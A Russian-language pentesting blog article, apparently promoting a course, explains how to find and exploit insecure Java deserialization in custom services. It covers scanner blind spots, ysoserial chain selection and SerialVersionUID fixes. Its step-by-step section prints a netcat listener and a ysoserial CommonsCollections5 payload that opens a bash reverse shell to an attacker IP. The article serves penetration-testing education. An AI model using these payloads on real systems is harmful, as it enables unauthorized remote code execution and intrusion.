Перейти к содержимому

Эксплуатация небезопасной десериализации Java: от rO0AB до шелла на кастомном сервисе

Эксплуатация небезопасной десериализации Java: от rO0AB до шелла на кастомном сервисе
Время чтения: 12 мин.

На пентесте кастомного Java-бэкенда корпоративного портала автоматический сканер отработал по всем endpoint’ам и выдал ноль критических уязвимостей. Burp Active Scan пометил один POST-параметр как «potentially interesting» — и пошёл дальше. А я не пошёл. Ручной разбор перехваченного трафика показал Base64-строку с характерным началом rO0AB — это сигнатура нативного сериализованного Java-объекта. Данные были спрятаны за слоем Zlib-сжатия, поэтому сканер их не распознал. Через три часа работы с ysoserial, декомпилятором и netcat — reverse shell на сервере под учёткой приложения. Сканер не понял, что перед ним endpoint десериализации. Я — понял.

Дальше — разбор по шагам: где именно стандартная WAPT-методология (Web Application Penetration Testing — тестирование веб-приложений на проникновение по чеклисту OWASP) ломается при эксплуатации небезопасной десериализации Java в кастомном сервисе, почему ysoserial «из коробки» работает далеко не всегда и как довести дело до шелла.

Бизнес-логика атаки: что получает атакующий через десериализацию Java-сервиса

Сериализация — преобразование Java-объекта в поток байтов для хранения или передачи по сети. Десериализация — обратный процесс: байты превращаются в живой объект в памяти JVM (Java Virtual Machine — среда исполнения Java-приложений), со всеми полями и методами. Уязвимость возникает, когда приложение десериализует данные из недоверенного источника — HTTP-запроса, cookie, параметра API — без проверки того, какие именно классы восстанавливаются.

Классификация: CWE-502 (CWE — Common Weakness Enumeration, стандартный каталог типов уязвимостей; номер CWE — ссылка на конкретный вид бага) — Deserialization of Untrusted Data. Последствия по каталогу: модификация данных приложения (Integrity), отказ в обслуживании через потребление CPU (Availability: DoS) и — самое интересное — выполнение произвольного кода. В OWASP Top 10 2021 десериализация входит в категорию A08: Software and Data Integrity Failures.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — идентификаторы конкретных техник; по сути — энциклопедия реальных атак) эксплуатация десериализации в публичном веб-приложении — это T1190 Exploit Public-Facing Application, тактика Initial Access. Атакующий отправляет специально сформированный сериализованный объект на открытый endpoint и получает выполнение кода на сервере. Без аутентификации, без взаимодействия с пользователем.

Конкретный пример из продакшена: CVE-2017-9805 — REST Plugin в Apache Struts 2.1.1–2.3.x (до 2.3.34) и 2.5.x (до 2.5.13) использовал XStreamHandler для десериализации XML-payload’ов без фильтрации типов. CVSS 8.1 (HIGH), вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — AV:N означает атаку по сети, PR:N — привилегии не нужны, UI:N — пользователь не участвует, AC:H — сложность атаки высокая. Уязвимость в каталоге CISA KEV (список CVE, которые уже эксплуатируются в реальных атаках) с ноября 2021 года, эксплуатация in the wild зафиксирована с июля 2021, EPSS (оценка вероятности эксплуатации в ближайшие 30 дней) — 0.9940, Top 1%. В том же Apache Struts 2 другая уязвимость — CVE-2017-5638 (CVSS 9.8, OGNL-инъекция в Jakarta Multipart parser) — привела к взлому Equifax в марте 2017 года и утечке персональных данных 147.7 миллионов человек. CVE-2017-9805 — независимый вектор RCE в том же фреймворке, опубликованный позже (сентябрь 2017).

Для успешной эксплуатации нужны два условия одновременно:

Условие Что проверять Типичный пример
Приложение десериализует данные из недоверенного источника ObjectInputStream.readObject(), XStream.fromXML(), XMLDecoder на пользовательском вводе POST-параметр → Base64 decode → ObjectInputStream
В classpath присутствуют классы с gadget chain’ами Библиотеки Apache Commons Collections, Spring Framework, Groovy, BeanUtils commons-collections 3.1 в WEB-INF/lib

Gadget chain (цепочка гаджетов) — последовательность вызовов методов через классы, уже лежащие в библиотеках приложения. Classpath — набор библиотек и классов, доступных приложению при запуске. Атакующий не приносит свой код, а переиспользует то, что уже есть: при десериализации цепочка запускается автоматически и заканчивается вызовом Runtime.exec() с произвольной командой.

И вот нюанс, который PortSwigger Web Security Academy формулирует жёстко: уязвимость — сам факт десериализации пользовательского ввода, а не наличие конкретных gadget chain’ов. Полагаться на устранение цепочек — тупик: по данным исследования Sayar et al. (2023), 37.5% изученных библиотек вообще не получили патчей, а изменение одного модификатора доступа в классе (скажем, private → public) может создать новый гаджет. Убрал одну цепочку — завтра появится другая.

Распознавание десериализации в кастомном Java-сервисе

Прежде чем эксплуатировать — нужно понять, что endpoint вообще принимает сериализованные объекты. Именно здесь автоматика регулярно промахивается.

В black-box-сценарии (без доступа к исходному коду — только сетевой трафик) Java-сериализованные объекты распознаются по байтовым сигнатурам: AC ED 00 05 в hex-представлении или rO0AB в начале Base64-строки. По данным PortSwigger, заголовок Content-Type: application/x-java-serialized-object — редкий, но надёжный маркер. На практике сериализованные объекты прячутся в cookie, скрытых полях форм и параметрах POST-запросов.

Burp Suite Professional автоматически помечает HTTP-сообщения с сериализованными объектами. Расширение Java Deserialization Scanner дополнительно проверяет endpoint’ы на предмет известных gadget chain’ов. Оба инструмента работают с «чистой» сериализацией — без дополнительных обёрток. Если данные проходят через Zlib deflate, GZIP, кастомный XOR или иное преобразование — сигнатура AC ED 00 05 не видна ни сканеру, ни расширению. Для них это просто бинарный мусор.

По опыту Rhino Security Labs, на реальном ассессменте сериализованный объект нашли только после ручного перебора алгоритмов декомпрессии: параметр выглядел как произвольный бинарный блоб, и только Zlib deflate вскрыл Java-сериализацию. Расширение Hackvertor для Burp помогает перебирать кодировки и алгоритмы сжатия интерактивно, но инициатива всё равно за пентестером — инструмент не скажет «попробуй Zlib».

WAF (Web Application Firewall — фильтр HTTP-трафика на периметре) обычно не блокирует бинарные Java-payload’ы. Правила WAF заточены под SQL-инъекции и XSS в текстовых параметрах, а сериализованный объект — бинарные данные, которые проходят мимо сигнатурных правил.

В white-box ищем вызовы ObjectInputStream.readObject(), XMLDecoder, XStream.fromXML(), readUnshared(), readResolve(), readExternal() — полный перечень по OWASP Deserialization Cheat Sheet. Подробный маршрут статического анализа через Semgrep и дифф байткода через javap — тема отдельного разбора; здесь фокус на эксплуатации.

Три этапа методологии пентеста веб-приложений, которые ломаются без ручной проверки payload

OWASP WSTG (Web Security Testing Guide — стандартный чеклист для пентеста веб-приложений) покрывает десериализацию в разделе Input Validation. Формально — пункт есть. На практике при работе с кастомным Java-сервисом три этапа требуют ручной работы, которую ни один чеклист не описывает.

Этап 1: идентификация — сканер не видит обёртки

Автоматические сканеры ищут сигнатуры rO0AB в прямом виде. Кастомный сервис может оборачивать сериализованный объект в Zlib, GZIP, собственный бинарный протокол или Protocol Buffers. Сканер видит бинарный блоб и проходит мимо. Мне попадались сервисы, где сериализация была внутри protobuf-сообщения — ни один автоматический инструмент этого не обнаружил.

Что делать: ручной анализ трафика в Burp Repeater. Декодировать Base64, попробовать типичные алгоритмы декомпрессии. Если endpoint при отправке мусорных данных возвращает Java stack trace с именами пакетов — это косвенное подтверждение десериализации. Stack trace — ваш друг, даже если он выглядит как стена текста.

Этап 2: подтверждение — генерация ysoserial payload через URLDNS не равно RCE

URLDNS — специальная цепочка в ysoserial (открытый инструмент для генерации payload’ов десериализации, созданный Chris Frohoff в 2015 году). При десериализации она выполняет DNS-запрос на указанный домен, не зависит от classpath цели и работает на любой JVM. Это out-of-band подтверждение: DNS-запрос пришёл — сервер десериализовал объект.

Но URLDNS не даёт RCE. Для выполнения произвольного кода нужна gadget chain из библиотек, присутствующих в classpath цели. CommonsCollections1–7 требуют Apache Commons Collections конкретных версий, Spring-цепочки — Spring Framework, Groovy-цепочки — определённых версий Groovy. Если нужной библиотеки нет или версия не та — payload молча не срабатывает. Сервер не возвращает ошибку, просто ничего не происходит. Тишина. И вот тут начинающие часто сдаются, хотя десериализация-то работает.

По данным Deepwatch, ysoserial содержит десятки именованных цепочек, каждая нацелена на конкретную библиотеку или комбинацию. Выбор — либо на основе разведки (stack trace, pom.xml, error fingerprinting), либо перебор. Исследование Sayar et al. (2023) на 256 515 экспериментах с вариацией версий библиотек для 19 публичных RCE-эксплойтов из ysoserial показало: версия библиотеки имеет значение вплоть до минорного релиза.

Этап 3: эксплуатация RCE через десериализацию — SerialVersionUID и gadget chain под кастомный classpath

SerialVersionUID — числовой идентификатор версии класса. JVM проверяет его при десериализации: если UID в payload не совпадает с UID класса на сервере — java.io.InvalidClassException, эксплоит не проходит.

Ysoserial собран с определёнными версиями зависимостей. Если на сервере стоит другая версия — UID не совпадут. По данным Rhino Security Labs, на реальном ассессменте ysoserial использовал commons-beanutils 1.9.2, а на сервере стояла 1.7.0. Результат — ошибка InvalidClassException с указанием ожидаемого и фактического UID. Без ручного исправления — тупик.

WAPT-чеклист OWASP не содержит пункта «проверь совместимость SerialVersionUID payload с версией библиотеки на сервере». Этот этап — чисто ручная работа, и именно он отделяет «запустил ysoserial» от «получил шелл».

Этап WAPT Что предполагает чеклист Что происходит на кастомном сервисе
Идентификация Сканер находит rO0AB / AC ED Данные за Zlib/GZIP — сканер не видит
Подтверждение Отправь payload → получи RCE URLDNS работает, RCE-цепочки — нет
Эксплуатация ysoserial генерирует рабочий payload SerialVersionUID mismatch, payload отклоняется

Получение шелла через десериализацию: пошаговый разбор

Предусловия: Kali Linux или ОС с Java 8+, установленный ysoserial (сборка: git clone https://github.com/frohoff/ysoserial.git && cd ysoserial && mvn clean package -DskipTests), Burp Suite, netcat. Доступ к целевому сервису с обнаруженной точкой десериализации.

Делай раз: подтверди десериализацию через URLDNS. Генерируем payload, который при десериализации вызовет DNS-запрос:

java -jar ysoserial.jar URLDNS "http://test.your-collaborator.net" | base64 -w0

Копируем полученную Base64-строку, вставляем в уязвимый параметр через Burp Repeater, отправляем запрос. В Burp Collaborator (или на вашем DNS-сервере) должен появиться DNS-запрос к test.your-collaborator.net. Запрос есть — десериализация подтверждена, переходим к RCE. Запроса нет — проверяем: нужно ли предварительное сжатие (Zlib/GZIP) или другая кодировка перед отправкой. Не спешите с выводами — возможно, payload просто не дошёл в нужном виде.

Делай два: определи библиотеки в classpath. Отправляем намеренно битый объект — случайные байты после сигнатуры AC ED 00 05. Если сервер отдаёт stack trace — там будут имена классов и пакетов. Упоминание org.apache.commons.collections → пробуем CommonsCollections-цепочки. Упоминание org.springframework → Spring-цепочки. Stack trace недоступен — перебираем цепочки ysoserial с OOB-командой, предпочтительно DNS-запросом через Burp Collaborator (nslookup chain-name.your-collaborator.net), потому что исходящий ICMP часто блокируется фаерволом на продакшен-серверах и в контейнерах. Альтернатива — ping -c 1 your-server с мониторингом ICMP, но при блокировке ICMP результат будет ложноотрицательным. Та цепочка, которая вызвала DNS-запрос — рабочая.

Делай три: получи reverse shell. Запускаем listener и генерируем payload. Допустим, на шаге два определили Commons Collections 5:

# Listener на атакующей машине (терминал 1)
nc -lvnp 4444
# Генерация payload (терминал 2), где BASE64_SHELL —
# base64 от "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
java -jar ysoserial.jar CommonsCollections5 \
  "bash -c {echo,BASE64_SHELL}|{base64,-d}|{bash,-i}" | base64 -w0

Фигурные скобки вместо пробелов — обход ограничений Runtime.exec(), который не запускает shell-интерпретатор по умолчанию. Это частый подводный камень: новички пишут команду с пробелами, payload генерируется, отправляется — и ничего. Потому что Runtime.exec() — не bash. Отправляем payload через Burp Repeater. В терминале netcat должна появиться строка connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP] и интерактивный shell от имени пользователя Java-приложения.

Адаптация ysoserial payload под кастомный Java-сервис

Стандартный payload не сработал — три типичные причины и что с ними делать.

SerialVersionUID mismatch. Из сообщения InvalidClassException берём ожидаемый UID и имя класса. Задача — найти версию библиотеки с нужным UID. По методу Rhino Security Labs: скриптом перебираем версии зависимости из Apache Archive, скачиваем каждую и проверяем UID через serialver -classpath lib.jar class.name. Нашли совпадение — правим версию в pom.xml ysoserial и пересобираем: mvn clean package -DskipTests. Можно модифицировать UID через отладчик IntelliJ IDEA с breakpoint на computeDefaultSUID, но пересборка проще и надёжнее.

Сжатие или кастомное кодирование. Если сервис ожидает Zlib-сжатый объект, payload нужно сжать после генерации, но до отправки. Hackvertor в Burp иногда не справляется из-за порядка операций — надёжнее модифицировать код ysoserial, добавив вызов Deflater перед финальным выводом. По данным Rhino Security Labs, именно такой подход — добавление функции сжатия в класс GeneratePayload — дал рабочий результат на реальном ассессменте. Минут 15 работы с исходниками, зато payload проходит.

Кастомный classpath без известных gadget chain’ов. Стандартные цепочки ysoserial покрывают Commons Collections, Spring, Groovy, BeanUtils и другие популярные библиотеки. На кастомном сервисе с проприетарными зависимостями ни одна из них может не подойти. Единственный выход — ручная декомпиляция .jar-файлов через CFR или JD-GUI, поиск классов с Serializable и переопределённым readObject(), построение собственной цепочки гаджетов. Задача на часы или дни. Именно здесь WAPT-чеклист окончательно перестаёт работать: никакой автоматический инструмент не построит gadget chain для неизвестной библиотеки. Это уже исследовательская работа.

Проблема Симптом Решение Трудоёмкость
SerialVersionUID mismatch InvalidClassException с двумя UID Пересобрать ysoserial с нужной версией зависимости Средняя (часы)
Сжатие payload Payload не распознаётся сервером Добавить Zlib/GZIP в pipeline генерации Низкая (минуты)
Нет известных цепочек Все стандартные payload’ы молчат Ручной анализ classpath, создание своей цепочки Высокая (дни)

Формальные чеклисты пентеста — необходимый минимум, но не замена мышлению. Пункт «проверить десериализацию» в WAPT-чеклисте занимает одну строчку, а реальная эксплуатация кастомного Java-сервиса — день ручной работы: определение обёрток, подбор gadget chain, пересборка ysoserial под нужную версию зависимости. Ни один сканер этого не делает.

По данным IBM X-Force Threat Intelligence Index 2025, среднее время между публикацией CVE и устранением в организации — 29 месяцев. CVE-2017-9805 в Apache Struts находится в каталоге CISA KEV с 2021 года и эксплуатируется в дикой природе больше 1900 дней. Это не экзотика из лабораторий — это production-системы, которые годами никто не обновляет, а пентестеры годами не находят там десериализацию, потому что сканер не увидел rO0AB за слоем Zlib.

Индустрия переоценивает автоматические сканеры и недооценивает ручной анализ gadget chain’ов. Сканер — отличный первый проход, но десериализация Java — уязвимость такого типа, где решает не инструмент, а понимание того, как JVM восстанавливает объекты. Без этого понимания пентестер прогоняет ysoserial «в лоб», получает ноль результатов и пишет в отчёте «десериализация не обнаружена» — хотя она была. Практика на CTF-машинах с Java-десериализацией строит это понимание быстрее любого чтения, но если не хватает фундамента по типам уязвимостей и архитектуре атак в целом — IB Basics в Codeby Academy закрывает эту базу за пару месяцев без академической мути.

Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.